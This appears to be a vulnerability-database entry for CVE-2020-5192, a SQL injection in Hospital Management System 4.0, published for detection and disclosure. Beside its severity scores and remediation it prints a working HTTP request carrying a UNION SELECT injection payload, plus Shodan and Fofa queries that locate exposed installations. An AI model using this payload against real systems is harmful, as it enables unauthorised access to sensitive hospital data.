🔙 목록으로 돌아가기

CVE-2020-5192: Hospital Management System 4.0 - SQL Injection

TitleHospital Management System 4.0 - SQL Injection
AuthorTenBird
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.
CVSS Score8.8
EPSS Score0.31998
CVE IDCVE-2020-5192
CWE IDCWE-89
Shodan Queryhttp.html:"hospital management system"
Fofa Querybody="hospital management system"
Tags cve cve2020 hms cms sqli authenticated edb phpgurukul vuln

🔍 Vulnerability Description

Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /hospital/hms/doctor/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=bhQCRRpassword=WYsKAe&submit=&submit=
POST /hospital/hms/doctor/search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5(7563),1),2),NULL--+PqeG&search=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5192.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5192.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A